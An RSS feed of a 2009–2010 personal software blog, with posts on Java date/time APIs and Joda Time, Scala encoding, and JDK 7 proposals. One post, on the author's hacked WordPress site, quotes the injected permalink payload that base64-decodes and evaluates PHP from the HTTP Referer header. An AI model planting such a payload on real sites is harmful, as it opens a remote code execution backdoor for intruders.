<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Martin @ Blog</title>
	
	<link>http://www.wolkje.net</link>
	<description>software development and life.</description>
	<lastBuildDate>Sat, 26 May 2012 21:44:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/wolkjenet" /><feedburner:info uri="wolkjenet" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<title>Java Date and Time API and JSR-310</title>
		<link>http://feedproxy.google.com/~r/wolkjenet/~3/4wvmbmWQ5_8/</link>
		<comments>http://www.wolkje.net/2010/01/06/java-date-and-time-api-and-jsr-310/#comments</comments>
		<pubDate>Wed, 06 Jan 2010 11:48:21 +0000</pubDate>
		<dc:creator>Martin Sturm</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Date Time API]]></category>
		<category><![CDATA[Joda Time]]></category>
		<category><![CDATA[JSR-310]]></category>

		<guid isPermaLink="false">http://www.wolkje.net/?p=320</guid>
		<description><![CDATA[Dutch version can be found at the Finalist IT Group weblog. Since the start of the development of JDK 7, there is quite some discussion on the API&#8217;s in the standard Java libraries which covers date and time. In the current Java version (1.6) there are roughly three major (groups of) classes which are responsible [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.finalist.com/2010/01/06/datum-en-tijd-in-java/">Dutch version</a> can be found at the <a href="http://blog.finalist.com/2010/01/06/datum-en-tijd-in-java/">Finalist IT Group weblog</a>.</p>
<p>Since the start of the development of JDK 7, there is quite some discussion on the API&#8217;s in the standard Java libraries which covers date and time. In the current Java version (1.6) there are roughly three major (groups of) classes which are responsible for handling date and time: Date and Calendar, the formatting classes, and the classes in the java.sql package, including java.sql.Date, java.sql.Time and java.sql.Timestamp. Most developers agree that these classes are far from perfect.</p>
<p>In order to resolve this issue, JSR-310 is started to improve the date and time API in the standard Java libraries. However, due to lack of developers and slow progress, it became very uncertain if the JSR would be ready for inclusion in JDK 7 (which will eventually become Java 7, the name I will use in the rest of this article). JSR-310 is lead by Stephan Colebourne and Michael Nascimento Santos. Colebourne is the original author of the increasingly popular Joda Time project, which is a replacement for the default Java date and time API&#8217;s. At Devoxx 2009, taking place last November, Mark Reinhold of Sun announced that Java 7 will be delayed until September 2010 at the earliest. Stephan Colebourne sees this as a <a href="https://jsr-310.dev.java.net/servlets/ReadMsg?list=dev&#038;msgNo=1835" target="_blank">opportunity</a> to release at least a partially complete JSR-310 in time for the upcoming Java release.<span id="more-320"></span></p>
<p>But why is the current Java date and time API broken? How can you circumvent the issues in this API? And how does JSR-310 intends to resolve the issues in the upcoming release? These questions I will try to answer in this article.</p>
<h2>Current date and time API in Java</h2>
<p>While it is a bit to much to explain the complete workings of the date and time API in Java 1.6 (and before), I will try to explain the main problems with the current date and time API in Java. I assume some upfront knowledge of the API by the reader, but probably it is not very difficult to follow for people who don&#8217;t have extensive experience with the API.</p>
<p>The Java 1.6 standard library contains a few classes which deals with date and time. The most important ones are <tt>Date</tt> and <tt>Calendar</tt>. Almost the entire API is designed around these two classes. The main problem with them is that fairly simple operations on date and time require a rather large amount of code with many instances of individual classes. This has a negative impact on performance. The API is inconsistent and confusing for developers, making code using <tt>Date</tt> and <tt>Calendar</tt> hard to read and maintain. Additionally, the API is incomplete which force developers to create custom solutions for simple problems. Finally, the API misses opportunities which would made the usage of the API simpler. With this last point, I mainly refer to the lack of fluent API&#8217;s and the fact that all objects are mutable.</p>
<p>In the current API only a specific instance in time can be represented using a <tt>Date</tt> object. This object represents a specific point in time, internally defined by the number of milliseconds since the Epoch (January the 1st 1970 at 0:00 hour) and a timezone. In fact, this could be easily represented by an immutable object. Unfortunately, this is not the case. In earlier Java versions, many methods were added to the <tt>Date</tt> class making it possible to manipulate it. Nowadays, almost all these methods are deprecated and should not be used anymore. However, they still exists, and worse of all the <tt>setTime(long time)</tt> method is not deprecated and changes the state of a <tt>Date</tt> object.</p>
<p>The fact that <tt>Date</tt> is a mutable object, makes it hard to use it in other classes which are immutable. One should always make a defensive copy of every Date object that is part of an immutable object. Joshua Bloch gives an example in his book Effective Java:</p>
<pre name="code" class="java">
public final class Period {
  private final Date start;
  private final Date end;

  public Period(Date start, Date end) {
    if (start.compareTo(end) > 0)
      throw new IllegalArgumentException(start + " after " + end);
    this.start = start;
    this.end = end;
  }

  public Date start() {
    return start;
  }

  public Date end() {
    return end;
  }
}
</pre>
<p>Objects of the type <tt>Period</tt> appears to be immutable, however it is not due to the usage of the <tt>Date</tt> class. An example where a <tt>Period</tt> object is changed:</p>
<pre name="code" class="java">
Date start = new Date();
Date end = new Date();
Period p = new Period(start, end);
end.setYear(78); // Modifies internals of P!
</pre>
<p>This bug makes it possible to change the end date of the <tt>Period</tt> p, which renders the check in the constructor of <tt>Period</tt> void. Of course, there is a pretty simple way to prevent this problem by making a copy of <tt>start</tt> and <tt>end</tt> in the constructor of <tt>Period</tt>:</p>
<pre name="code" class="java">
public period(Date start, Date end) {
  this.start = new Date(start.getTime());
  this.end = new Date(end.getTime());
  [...] // remainder omitted
}
</pre>
<p>However, this requires additional effort of the user of the API and can easily be forgotten. When Date objects would be immutable, this extra copy would not be necessary.</p>
<p>The other class in the date and time API in Java is the Calendar class. Instances of this class represents a point at a specific type of calendar (most of the time Gregorian) and provide methods to do some simple calculations. The main problem with this class is that it is mutable as well. The methods on this class are also not very beautiful. For example, to get the current year of the Calendar instance <tt>cal</tt>, one should call <tt>cal.get(YEAR)</tt> where YEAR is a constant. It is also confusing that a Calendar can operate in two modes, namely &#8216;lenient&#8217; and &#8216;non-lenient&#8217;. In the first case, it is possible to define values for fields which are normally out of range. For example, it is possible to set the month to 15. The Calendar object then automatically converts it to a valid month, by increasing the year by one, and set the month to april.<br />
Wait, april I wrote? Yes, months are zero-based in the Calendar (however, days, years, etc. are not).<br />
The way the days of a week are represented are a little bit confusion</p>
<p>The main problems are clear now, however, there are many other smaller problems. For example, there also exists java.sql.Date, java.sql.Time and java.sql.Timestamp. These classes are childs of the java.util.Date class, but add some functionality for use in databases. However, there is a problem in the implementation of these classes. The java.sql.Date class and is used to represent a date without a time, while the java.sql.Time class represents a time without a date. Timestamp adds nanoseconds to the Date object. However, internally they still contain both a time and date and the implementers did not override the equals and hashCode methods causing hard to find bugs:</p>
<pre name="code" class="java">
Date date = new Date();
Time time = new Time(date.getTime());
java.sql.Date sqldate = new java.sql.Date(date.getTime());
Timestamp timestamp = new Timestamp(date.getTime());

System.out.println(date.toString()); // Sun Dec 20 15:53:55 CET 2009
System.out.println(time.toString()); // 15:53:55
System.out.println(sqldate.toString()); // 2009-12-20
System.out.println(timestamp.equals(date)); // false
System.out.println(date.equals(timestamp)); // true
</pre>
<p>This means that java.sql.Timestamp does not obey to the equals contract, saying that the equals should be symmetric. Additionally, it is confusing that Time and java.sql.Date only represent a part of the date, but still use the same equals implementation.<br />
<div id="attachment_337" class="wp-caption alignnone" style="width: 510px"><img src="http://www.wolkje.net/wordpress/wp-content/uploads/2009/12/Clock.jpg" alt="Astronomical Clock" title="Astronomical Clock" width="500" height="500" class="size-full wp-image-337" /><p class="wp-caption-text">Astronomical Clock</p></div><br />
There are more problems with the current API. For example, there is no way to define durations or a reliable way to represent a date without a time, or a time without a date. The performance of the API is unpredictable, because the fields are recalculated at unexpected moments. Finally, it is not very straightforward to format a date for print. One should use the (Simple)DateFormat classes for this, which means additional objects.</p>
<h2>Joda Time</h2>
<p>At this moment there is already a working solution for the problems described in the previous section. It&#8217;s called Joda Time and this is a replacement for the date and time API in the Java standard library. Joda Time solves most problems that currently exists. Joda Time contains two ways of defining a particular date or time: <em>instant</em> for a particular point in the &#8216;date time continuum&#8217; and <em>partial</em> for a time or date representation which is not exactly a point in time, because a part is missing (the time, timezone, year, etc.). </p>
<p>Intstants in Joda Time are defined by the <tt>ReadableInstant</tt> interface, of which the most used implementation the <tt>DateTime</tt> class is. A <tt>DateTime</tt> object is immutable and contains a fluent API to do calculations on it (which of course return new objects). In order to make it easy to use it in existing projects, it is easy to convert a JDK <tt>Date</tt> object to a <tt>DateTime</tt> object and vice versa. Joda Time also provides a mutable version of the <tt>DateTime</tt> class, <tt>MutableDateTime</tt>, which can be used when a lot of transformation on a date has to be done. However, the usage of this object is most of the time not really necessary and should be avoided in my opinion. A <tt>MutableDateTime</tt> can easily be converted to a immutable version of it.</p>
<p>Partials are represented by the <tt>ReadablePartial</tt> interface, of which the most used implementations are <tt>LocalDate</tt>, <tt>LocalTime</tt> and <tt>LocalDateTime</tt>. Object of these types are also immutable and can easily be converted to <tt>DateTime</tt> objects and JDK Date objects. Additionally, Joda Time contains <tt>Duration</tt>, <tt>Period</tt> and <tt>Interval</tt> for completeness. </p>
<p>Of course, an example of Joda Time usage cannot be omitted in this article:</p>
<pre name="code" class="java">
DateTime now = new DateTime();
Period sixdays = new Period(0, 0, 0, 6, 6, 0, 0, 0);
System.out.println(now); // 2009-12-20T18:35:53.360+01:00
DateTime future = now.plus(sixdays);
System.out.println(future); // 2009-12-27T00:41:59.097+01:00
System.out.println(now.withYear(2028).plusDays(31).toString("dd-MM-yyyy hh:mm")); // 20-01-2029 06:41
</pre>
<p>This example initializes now to the current time (the default value of a <tt>DateTime</tt> without constructor parameters). The variable sixdays contains a reference to a <tt>Period</tt> object which defines a period of 6 days and 6 hours. Periods can easily be added to a <tt>DateTime</tt> object using the plus() method. Note that the result of the method should be assigned to a variable, since it does not modify the existing object, but creates a new one which has to be assigned to a variable in order to use it actually.<br />
The last line shows how easy it is to perform simple calculations with date using Joda Time. Additionally, it shows another feature of Joda Time, namely the ease to format a date according to a specific pattern. A similar operation would be much more difficult using the JDK Date and Calendar classes, since one would have to instanciate a <tt>Calendar</tt>, <tt>Date</tt>, <tt>SimpleDateFormat</tt> and call several individual methods.</p>
<p>Joda Time also makes many other use cases very simple. For example, the <tt>DateTime</tt> constructor accept many different types of objects for initialization. For example, one can provide many different formatted String objects, which are automatically parsed correctly. This includes the ISO 8601 format, which is used in XML. For testing purposes Joda Time also makes it possible to change the current time, using <tt>DateTimeUtils.setCurrentMillisFixed(millis);</tt>.</p>
<h2>JSR-310 and Joda Time</h2>
<p>As mentioned earlier, JSR-310 is lead by Stephan Colebourne, who also created Joda Time. It may be obvious to take the latest Joda Time release and put a JSR stamp on it, declaring it the reference implementation. This is not what is happening, with good reason.<br />
Stephan devoted a <a href="http://www.jroller.com/scolebourne/entry/why_jsr_310_isn_t">recent blog post</a> on this topic, explaining why JSR-310 differs from Joda Time. The main reason is that Joda Time is not perfect.<br />
The design goals for JSR-310 are clearly defined: The API should support immutability, a fluent API, it has to be extensible and the API should be clear, explicit and expected. Especially this last point is where Joda Time is not perfect. For example, Joda Time uses the notion of Chronology to represent different calendar types. It is possible to define the Chronology when instantiating a <tt>DateTime</tt> object. In the default case, a DateTime object will return a value between 1 and 12 when calling the getMonthOfDay() method. However, when using a for examle a Coptic Chronology, this method can also return 13, since the Coptic calendar has 13 months. This makes the API return values the user might not expect, and in fact, the previous method call requires a check to make sure the result is as expected. Also the use of the <tt>ReadableInstant</tt> by <tt>DateTime</tt> and the <tt>Instant</tt> class (which is a machine representation of an instant in time) is wrong, since there is difference in how humans define an instant in time compared to how machines see it. Finally, Joda Time accept null values in many places without throwing an error, which is also wrong according to Colebourne.</p>
<p>The issues in Joda Time should be fixed in the JSR-310 implementation making it an even better date and time API. Should we therefor not use Joda Time? Definitely not! Of all available options, Joda Time is definitely the best choice for working with dates and times in Java. The fact that the completion of JSR-310 takes a very long time, is since for most developers Joda Time fixes the problem that exists in the current JDK API, making the urgency of completing JSR-310 pretty low.</p>
<h2>Conclusion</h2>
<p>The date and time function in the default Java SDK is flawed in many ways. While it can be used for most projects with some extra effort, it can also cause many unexpected problems. JSR-310 is on its way to finally fix this problem. However, it is still not yet sure if it will be part of Java 7, mainly because of the lack of developers.<br />
For new projects, there is very few arguments for not using Joda Time. It is well tested and well supported, including support for Hibernate and JSP&#8217;s. It makes it a lot easier to perform calculations using dates, and provides an easy to use API with reliable performance.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wolkje.net/2010/01/06/java-date-and-time-api-and-jsr-310/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		<feedburner:origLink>http://www.wolkje.net/2010/01/06/java-date-and-time-api-and-jsr-310/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=java-date-and-time-api-and-jsr-310</feedburner:origLink></item>
		<item>
		<title>Encoding in Scala interpreter</title>
		<link>http://feedproxy.google.com/~r/wolkjenet/~3/2NJacXPMIcc/</link>
		<comments>http://www.wolkje.net/2009/12/30/encoding-in-scala-interpreter/#comments</comments>
		<pubDate>Wed, 30 Dec 2009 11:58:05 +0000</pubDate>
		<dc:creator>Martin Sturm</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[Scala]]></category>
		<category><![CDATA[encoding]]></category>
		<category><![CDATA[utf-8]]></category>

		<guid isPermaLink="false">http://www.wolkje.net/?p=348</guid>
		<description><![CDATA[One of the nice things of Scala is the availability of a command line interpreter based on the REPL principle (Read-evaluate-print loop). Last week, for a particular project, I wanted to generate a string containing a part of the UTF-8 character table. Thanks to Scala&#8217;s concise syntax, this would not be very difficult: (0x20AC until [...]]]></description>
			<content:encoded><![CDATA[<p>One of the nice things of <a href="http://www.scala-lang.org">Scala</a> is the availability of a command line interpreter based on the REPL principle (Read-evaluate-print loop). Last week, for a particular project, I wanted to generate a string containing a part of the UTF-8 character table.<br />
Thanks to Scala&#8217;s concise syntax, this would not be very difficult:</p>
<pre name="code" class="java">
(0x20AC until 0x20B6).foreach { x => print(x.toChar + " ") }
</pre>
<p>This example will print characters 0x20AC (euro symbol) up to 0x20B6 (an unknown symbol to me <img src='http://www.wolkje.net/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ).</p>
<p>However, the result I got on my system (Mac OS X 10.6.2 using Scala 2.8 nightly) was not really what I expected:</p>
<pre name="code">? ? ? ? ? ? ? ? ? ?</pre>
<p><span id="more-348"></span><br />
Yes, indeed, I only got a list of question marks. Several attempts to solve this problem (writing it to a file, printing it using other conversions, etc.) didn&#8217;t solve this problem. I expected it had something to do with the encoding, but not knowing enough on this subject prevented me from finding the actual problem. I ended up posting a question on <a href="http://stackoverflow.com/questions/1948044/printing-unicode-from-scala-interpreter">Stackoverflow</a>:</p>
<blockquote><p>I am not able to print unicode characters correctly. Of course a-z, A-Z, etc. are printed correctly, but for example € or ƒ is printed as a ?.</p>
<p>print(8364.toChar)<br />
results in ? instead of €. Probably I&#8217;m doing something wrong. My terminal supports utf-8 characters and even when I pipe the output to a seperate file and open it in a texteditor, ? is displayed.</p></blockquote>
<p>I got one answer, stating that he (or she?) could not reproduce the problem:</p>
<blockquote><p>Euro&#8217;s codepoint is 0x20AC (or in decimal 8364), and that appears to work for me (I&#8217;m on Linux, on a nightly of 2.8):</p>
<pre name="code" class="java">
scala> print(0x20AC.toChar)
€
</pre>
</blockquote>
<p>So, either there was an issue on Mac OS X or there was a bug in Scala. After a week or so, I still didn&#8217;t found the cause of my problem (of course, my original problem, printing the string containing UTF-8 characters was already solved in a different way). I decided to investigate a bit further. As most of the time, the cause was pretty obvious. Scala uses the system property <tt>file.encoding</tt> to determine which encoding it should use. I posted the &#8216;solution&#8217; on Stackoverflow:</p>
<p>The cause of the problem is the default encoding used by Mac OS X. When you start `scala` interpreter, it will use the default encoding for the specified platform. On Mac OS X, this is Macroman, on Windows it is probably CP1252. You can check this by typing the following command in the scala interpreter:</p>
<pre name="code" class="java">
    scala> System.getProperty("file.encoding");
    res3: java.lang.String = MacRoman
</pre>
<p>According to the <tt>scala</tt> help test, it is possible to provide Java properties using the -D option. However, this does not work for me. I ended up setting the environment variable </p>
<pre>
    JAVA_OPTS="-Dfile.encoding=UTF-8"
</pre>
<p>After running <tt>scala</tt>, the result of the previous command will give the following result:</p>
<pre name="code" class="java">
    scala> System.getProperty("file.encoding")
    res0: java.lang.String = UTF-8
</pre>
<p>Now, printing special characters works as expected:</p>
<pre name="code" class="java">
    print(0x20AC.toChar)
    €
</pre>
<p>So, it is not a bug in Scala, but an issue with default encodings. In my opinion, it would be better if by default UTF-8 was used on all platforms. In my search for an answer if this is considered, I came across a <a href="http://thread.gmane.org/gmane.comp.lang.scala.internals/189">discussion</a> on the Scala mailing list on this issue. In the first message, it is proposes to use UTF-8 by default on Mac OS X when <tt>file.encoding</tt> reports Macroman, since UTF-8 is the default charset on Mac OS X (keeps me wondering why <tt>file.encoding</tt> by defaults is set to Macroman, probably this is an inheritance from Mac OS before 10 was released?). I don&#8217;t think this proposal will be part of Scala 2.8, since Martin Odersky <a href="http://article.gmane.org/gmane.comp.lang.scala.internals/298">wrote</a> that it is probably best to keep things as they are in Java (i.e. honor the <tt>file.encoding</tt> property).</p>
<p>So the best way to prevent this issue, is to set <tt>file.encoding</tt> to UTF-8 using the JAVA_OPTS environment variable which is loaded by default on startup.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wolkje.net/2009/12/30/encoding-in-scala-interpreter/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://www.wolkje.net/2009/12/30/encoding-in-scala-interpreter/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=encoding-in-scala-interpreter</feedburner:origLink></item>
		<item>
		<title>Update of Weblog</title>
		<link>http://feedproxy.google.com/~r/wolkjenet/~3/5LR5J5YHQ-I/</link>
		<comments>http://www.wolkje.net/2009/12/21/update-of-weblog/#comments</comments>
		<pubDate>Sun, 20 Dec 2009 23:25:41 +0000</pubDate>
		<dc:creator>Martin Sturm</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Personal Life]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[weblog]]></category>

		<guid isPermaLink="false">http://www.wolkje.net/?p=324</guid>
		<description><![CDATA[My weblog was not very active lately. Mostly, this is because I&#8217;m posting a lot on Twitter (in Dutch however) and post some articles on the weblog of the company I&#8217;m working for. Especially the post on Devoxx is an interesting read in my opinion. However, I&#8217;m planning to change this. It is not that [...]]]></description>
			<content:encoded><![CDATA[<p>My weblog was not very active lately. Mostly, this is because I&#8217;m posting a lot on <a href="http://www.twitter.com/martinsturm">Twitter</a> (in Dutch however) and post some articles on the <a href="http://blog.finalist.com/">weblog</a> of the company I&#8217;m working for. Especially the <a href="http://blog.finalist.com/2009/11/23/devoxx-2009-heeft-java-toekomst/">post on Devoxx</a> is an interesting read in my opinion.</p>
<p>However, I&#8217;m planning to change this. It is not that I don&#8217;t like writing, and in my experience, when I write an article on a specific subject, I have the habit of do some research on it which increase my knowledge on the subject on the go. I have some articles in draft and some others planned to write. With the new year approaching, increased writing sounds like a good intention for the upcoming year.</p>
<p>In order to mark this change, I&#8217;ve decided to change the look of my site a bit and add some additional features on it (especially a Mobypicture widget). The new look is not yet finished, but that will come over time.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wolkje.net/2009/12/21/update-of-weblog/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.wolkje.net/2009/12/21/update-of-weblog/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=update-of-weblog</feedburner:origLink></item>
		<item>
		<title>My blog was hacked</title>
		<link>http://feedproxy.google.com/~r/wolkjenet/~3/JKCE4fi0hBo/</link>
		<comments>http://www.wolkje.net/2009/10/10/my-blog-was-hacked/#comments</comments>
		<pubDate>Sat, 10 Oct 2009 11:33:29 +0000</pubDate>
		<dc:creator>Martin Sturm</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.wolkje.net/?p=317</guid>
		<description><![CDATA[So, if anybody is visiting this weblog (probably that aren&#8217;t many people anymore, partly because I didn&#8217;t post anything recently&#8230;) they definitely noticed that I was a victim of one of the many exploits that are available for WordPress weblogs. The frontpage looked alright, but if one tried to view a single post or clicked [...]]]></description>
			<content:encoded><![CDATA[<p>So, if anybody is visiting this weblog (probably that aren&#8217;t many people anymore, partly because I didn&#8217;t post anything recently&#8230;) they definitely noticed that I was a victim of one of the many exploits that are available for WordPress weblogs. The frontpage looked alright, but if one tried to view a single post or clicked some random link on my weblog, the page didn&#8217;t work. Of course, I was running an old version of WordPress (2.5 actually&#8230;).<span id="more-317"></span></p>
<p>After some quick research, it seems there was a bug in WordPress which made it possible to alter the database using SQL injection. I was victim of a widely available exploit which changed the permalink URL&#8217;s to something ending with <tt>%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&#038;%/</tt>. This was done by changing the permalink option of WordPress, which appends this snippet to every URL. </p>
<p>It is quite obvious what it does: everything in the HTTP_REFERER header is base64_decoded and evaluated. So, anybody could execute PHP code on my server by adding it to the referer header (which is very simple). </p>
<p>Many reports by victims of this hack have additional administrators for their blog. Fortunately, that was not the case with my blog. </p>
<p>This is the first time in my life I was subject to hackers or something like that. </p>
<p>More information on how to deal with this hack can be found on the weblog <a href="http://www.journeyetc.com/uncategorized/wordpress-permalink-rss-problems/">Journey Etc.</a>.</p>
<p>By the way, I have to say that the new admin interface that come with WordPress 2.8.4 is very nice. It is definitely an improvement over the old one (of which the source code also wasn&#8217;t very nice..). </p>
]]></content:encoded>
			<wfw:commentRss>http://www.wolkje.net/2009/10/10/my-blog-was-hacked/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://www.wolkje.net/2009/10/10/my-blog-was-hacked/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=my-blog-was-hacked</feedburner:origLink></item>
		<item>
		<title>JDK 7: new developments</title>
		<link>http://feedproxy.google.com/~r/wolkjenet/~3/d0xzhzE9gdQ/</link>
		<comments>http://www.wolkje.net/2009/03/28/jdk-7-new-developments/#comments</comments>
		<pubDate>Sat, 28 Mar 2009 10:21:41 +0000</pubDate>
		<dc:creator>Martin Sturm</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Java 7]]></category>
		<category><![CDATA[jdk7]]></category>
		<category><![CDATA[Project Coin]]></category>

		<guid isPermaLink="false">http://www.wolkje.net/?p=315</guid>
		<description><![CDATA[Java 7: new developments and rumours As promised in my last post, I will write some more on the Java 7 developments. Since my last post, there are not that many new developments, but since I&#8217;m reading a bit more on the subject there are some things I want to mention here. Project Coin First [...]]]></description>
			<content:encoded><![CDATA[<p>Java 7: new developments and rumours</p>
<p>As promised in my <a href="http://www.wolkje.net/index.php/2009/03/25/java-7-new-coffee/">last post</a>, I will write some more on the Java 7 developments. Since my last post, there are not that many new developments, but since I&#8217;m reading a bit more on the subject there are some things I want to mention here.<span id="more-315"></span></p>
<h2>Project Coin</h2>
<p>First of all, there are developments in Project Coin. Since this week is the last change to submit new proposals (and I think they don&#8217;t expect very interesting ones), the have created a short list of proposals which are considered for implementing for JDK 7. It is discouraged to discuss on the other proposals on the mailing list, which means effectively that these other proposals are rejected. The improvements which are considered for inclusion in Java 7 are the following:</p>
<ul>
<li><a href="http://mail.openjdk.java.net/pipermail/coin-dev/2009-February/000001.html">Strings in switch statments</a>. This makes it possible to switch on a String object and uses cases which match on a String object as well (obviously).</li>
<li><a href="http://mail.openjdk.java.net/pipermail/coin-dev/2009-February/000003.html">Improved Exception Handling</a> for Java. This proposal includes catch blocks which handles multiple Exception types and safe rethrow of exceptions</li>
<li><a href="http://mail.openjdk.java.net/pipermail/coin-dev/2009-February/000011.html">Autmoatic Resource Management</a>. I didn&#8217;t discuss this in my <a href="http://www.wolkje.net/index.php/2009/03/25/java-7-new-coffee/">previous post</a> on JDK 7. In short, this proposal suggest a method which eases closing of resources after use. This feature, submitted by Joshua Bloch of Effective Java and the Collection framework fame, solve the difficulty of closing resources properly. Bloch gives an example of the required code for closing multiple resources, which can become quite complicated because it requires several nested try-catch statements.</li>
<li><a href="http://mail.openjdk.java.net/pipermail/coin-dev/2009-February/000009.html">Improved Type Inference for Generic Instance Creation</a>. This is the proposal which makes it possible to omit the generic type declaration when creating an instance of (for example) a collection. Example:<br />
<code>List&lt;string &lt;List&lt;String&gt;&#038;gt:&gt; myList = new ArrayList&lt;&gt;();</code>.<br />
Currently, one whould repeat the generic types in the right hand instanciation of the ArrayList.</li>
<li><a href="http://mail.openjdk.java.net/pipermail/coin-dev/2009-March/000047.html">Elvis and other null-safe operators</a>. This proposal describes the safe dereference operators, such as .?. It makes it possible to omit checks on objects for null values.</li>
<li><a href="http://mail.openjdk.java.net/pipermail/coin-dev/2009-March/000217.html">Simplified Varargs Method Invocation</a>. This proposal was also not discussed in my previous post. It presents a solution for warnings which are issued when a method combines varargs with non-reifiable array types (in fact using generics in combination with varargs). The proposal does not really include a language change, but moves the point where a warning is given in the mentioned case, namely at the definition of the method instead of at the moment the method is used.</li>
<p>The Project Coin mainlinglist now focusses on discussing the above six proposals in order to come to a final proposal. Chances are that these proposals will be included in JDK 7, however Darcy notes that probably only five proposals will be implemented and part of JDK 7. As every week, Darcy posted a <a href="http://blogs.sun.com/darcy/entry/project_coin_week_4_update">list of new proposals</a> that were submitted this week. This list will evaluated as the previous list, and possible acceptable proposals will be added to the shortlist. </p>
<h2>No Java 7?</h2>
<p>Another interesting point is made by <a href="http://www.jroller.com/scolebourne/entry/no_more_java_7">Stephen Colebourne</a> (of JSR 310, Date and Time API). He express his concerns regarding the fact that there will be probably no official specification for Java 7, which in fact means that there will be no &#8216;official&#8217; Java 7, but only a JDK 7 implemented by Sun. There is no other way to create an official Java SE 7 JDK. In fact, this removes one of the strong points of Java, namely that it is an official specification and not &#8216;just an implementation of a language&#8217;. </p>
<p>This point is backed by <a href="http://neilbartlett.name/blog/2009/03/25/using-suns-jigsaw-may-get-you-fired/">Neil Bartlett</a> of OSGi, who states that Project Jigsaw is also not backed by a JSR, apart from JSR-294 (superpackages). He is especially worried about this considering the rumours regarding a possible take over of Sun by IBM, since IBM will kill off Project Jigsaw according to Bartlett, since it is not in its interest to development such a project because it already has OSGi. It should be noted that former conclusions are only based on assumptions. Colebourne thinks he has a point, by pointing at the fact that most bloggers at Sun only mention JDK 7 and almost never use the &#8216;Java 7&#8242; term.</p>
<h2>Release plan and current status</h2>
<p><a href="http://blogs.sun.com/theplanetarium/entry/jdk_7_what_to_expect">Danny Coward</a> posted an update on the release plan of JDK 7. There is a <a href="http://openjdk.java.net/projects/jdk7/">list of milestones</a> which consists of a total of 8 milestones, where M8 is the final one which should be the final JDK 7. Currently we are at M2, which already includes the new Garbage Collector (G1), compressed 64-bit pointers, NIO2 and a method to close URLClassLoader. M3 should be released before JavaOne (at the earliest on the 21st of May). This release should contain some interesting improvements, inlcuding Invoke Dynamic, SCTP and SDP support (mainly intersting for mainframe stuff, I think), upgraded class-loader and <a href="http://blogs.sun.com/CoreJavaTechTips/entry/the_overhaul_of_java_utf">improved unicode handling</a>. This latter consist a fix which removes support for unicode characters which are not represented using the shortest possible way. It is possible to represent the same character using several byte patterns in UTF-8. This can lead to security problems when this is not handled correctly. </p>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.wolkje.net/2009/03/28/jdk-7-new-developments/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.wolkje.net/2009/03/28/jdk-7-new-developments/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=jdk-7-new-developments</feedburner:origLink></item>
		<item>
		<title>Java 7: new coffee</title>
		<link>http://feedproxy.google.com/~r/wolkjenet/~3/dDU5qcAD37Y/</link>
		<comments>http://www.wolkje.net/2009/03/25/java-7-new-coffee/#comments</comments>
		<pubDate>Wed, 25 Mar 2009 21:55:03 +0000</pubDate>
		<dc:creator>Martin Sturm</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[Java 7]]></category>
		<category><![CDATA[JDK]]></category>

		<guid isPermaLink="false">http://www.wolkje.net/?p=312</guid>
		<description><![CDATA[Last week, I wrote an article for our corporate weblog on the development of Java 7. Since the article was in Dutch, I didn&#8217;t post it on my personal blog. But I wanted to post some follow ups, and since it is not very easy to do this on the weblog of Finalist, I decided [...]]]></description>
			<content:encoded><![CDATA[<p>Last week, I wrote an article for our corporate <a href="http://blog.finalist.com">weblog</a> on the development of Java 7. Since the article was in Dutch, I didn&#8217;t post it on my personal blog. But I wanted to post some follow ups, and since it is not very easy to do this on the weblog of Finalist, I decided to translate the article to English and post it here. The translation is done pretty quickly, and thus very likely a bit rough on the edges. I think it is also interesting for non-Dutch readers. <span id="more-312"></span></p>
